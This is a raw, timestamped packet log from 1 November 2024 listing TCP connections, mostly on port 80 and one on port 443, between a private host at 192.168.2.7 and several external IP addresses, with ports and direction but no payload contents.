Nov 1, 2024 12:14:55.976418972 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.976430893 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.976494074 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.976494074 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.978008986 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.978035927 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.978046894 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.978054047 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.978071928 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.978095055 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.978158951 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.978172064 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.978183031 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.978193998 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.978216887 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.978229046 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.978343010 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.978400946 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.978466988 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.978521109 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.978533983 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.978545904 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.978557110 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.978569031 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.978581905 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.978590012 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.978590012 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.978614092 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.978627920 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.978627920 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.978638887 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.978651047 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.978663921 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.978676081 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.978684902 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.978684902 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.978688955 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.978702068 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.978718042 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.978734016 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.978739977 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.978754997 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.978759050 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.978768110 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.978781939 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.978795052 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.978801966 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.978802919 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.978804111 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.978815079 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.978828907 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.978838921 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.978857040 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.978858948 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.978872061 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.978882074 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.978893995 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.978904963 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.978905916 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.978916883 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.978918076 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.978929996 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.978943110 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.978955984 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.978976011 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.978977919 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.978977919 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.978977919 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.978988886 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.979017019 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.979029894 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.979101896 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.979126930 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.979140043 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.979140043 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.979151011 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.979162931 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.979167938 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.979175091 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.979190111 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.979195118 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.979195118 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.979217052 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.979228020 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.979228973 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.979243994 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.979268074 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.979270935 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.979270935 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.979270935 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.979279041 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.979290962 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.979305029 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.979310989 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.979325056 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.979331970 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.979337931 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.979348898 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.979350090 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.979363918 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.979384899 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.979397058 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.979408026 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.979419947 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.979433060 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.979445934 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.979449034 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.979449034 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.979459047 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.979470968 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.979475021 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.979475021 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.979502916 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.979815960 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.979827881 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.979837894 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.979851007 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.979863882 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.979876995 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.979877949 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.979877949 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.979888916 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.979902029 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.979912996 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.979913950 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.979947090 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.979955912 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.979955912 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.979964972 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.979978085 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.979981899 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.979990005 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.980001926 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.980012894 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.980014086 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.980026007 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.980030060 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.980036020 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.980040073 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.980051994 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.980062008 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.980074883 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.980104923 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.980108023 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.980108023 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.980117083 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.980127096 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.980139017 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.980150938 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.980154037 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.980154037 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.980164051 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.980175972 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.980176926 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.980189085 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.980201006 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.980205059 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.980211973 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.980223894 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.980231047 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.980236053 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.980247974 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.980259895 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.980272055 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.980272055 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.980283976 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.980297089 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.980309010 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.980338097 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.980338097 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.980338097 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.980367899 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.981548071 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.981610060 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.981815100 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.981827974 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.981838942 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.981849909 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.981863976 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.981874943 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.981878996 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.981878996 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.981904030 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.981961012 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.981972933 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.981983900 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.981996059 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982008934 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982021093 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982033968 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982034922 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982034922 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982045889 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982059002 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982069969 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982085943 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982091904 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982091904 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982115984 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982129097 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982132912 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982141018 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982152939 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982161999 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982165098 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982177019 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982183933 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982188940 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982202053 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982213974 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982235909 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982235909 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982235909 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982244015 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982261896 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982274055 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982283115 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982283115 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982286930 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982299089 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982306004 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982310057 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982322931 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982325077 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982335091 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982352972 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982364893 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982368946 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982368946 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982393026 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982404947 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982414961 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982417107 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982429028 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982441902 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982454062 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982465029 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982474089 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982476950 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982489109 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982501984 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982505083 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982505083 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982531071 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982532024 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982542992 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982554913 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982567072 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982578993 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982589960 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982595921 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982595921 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982595921 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982601881 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982614040 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982625008 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982637882 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982644081 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982644081 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982662916 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982675076 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982688904 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982693911 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982700109 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982711077 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982722998 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982736111 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982736111 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982736111 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982737064 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982748985 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982760906 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982768059 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982774019 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982785940 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982798100 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982808113 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982827902 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982840061 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982846975 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982847929 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982851982 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982863903 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982871056 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982871056 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982876062 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982887030 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982901096 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982904911 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982904911 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982913971 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982924938 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982929945 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982950926 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982961893 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982966900 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982968092 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982968092 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.982974052 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982986927 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.982997894 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.983011007 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.983014107 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.983023882 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.983035088 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.983035088 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.983036041 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.983063936 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.983134985 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:57.713347912 CET	49999	80	192.168.2.7	185.215.113.206
Nov 1, 2024 12:14:57.718677998 CET	80	49999	185.215.113.206	192.168.2.7
Nov 1, 2024 12:14:57.718749046 CET	49999	80	192.168.2.7	185.215.113.206
Nov 1, 2024 12:14:57.718981981 CET	49999	80	192.168.2.7	185.215.113.206
Nov 1, 2024 12:14:57.723799944 CET	80	49999	185.215.113.206	192.168.2.7
Nov 1, 2024 12:14:57.972117901 CET	50000	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:57.972171068 CET	443	50000	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:57.972239971 CET	50000	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:57.972656012 CET	50000	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:57.972672939 CET	443	50000	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:58.470285892 CET	49990	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:14:58.470660925 CET	50001	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:14:58.475251913 CET	80	49990	185.215.113.43	192.168.2.7
Nov 1, 2024 12:14:58.475311041 CET	49990	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:14:58.475413084 CET	80	50001	185.215.113.43	192.168.2.7
Nov 1, 2024 12:14:58.475487947 CET	50001	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:14:58.476490974 CET	50001	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:14:58.481441975 CET	80	50001	185.215.113.43	192.168.2.7
Nov 1, 2024 12:14:58.571296930 CET	443	50000	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:58.571371078 CET	50000	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:58.572715044 CET	50000	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:58.572736979 CET	443	50000	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:58.572988987 CET	443	50000	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:58.587131977 CET	50000	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:58.588265896 CET	50000	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:58.588301897 CET	443	50000	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:58.588406086 CET	50000	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:58.588439941 CET	443	50000	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:58.588546038 CET	50000	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:58.588596106 CET	443	50000	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:58.589761019 CET	50000	443	192.168.2.7	188.114.97.3
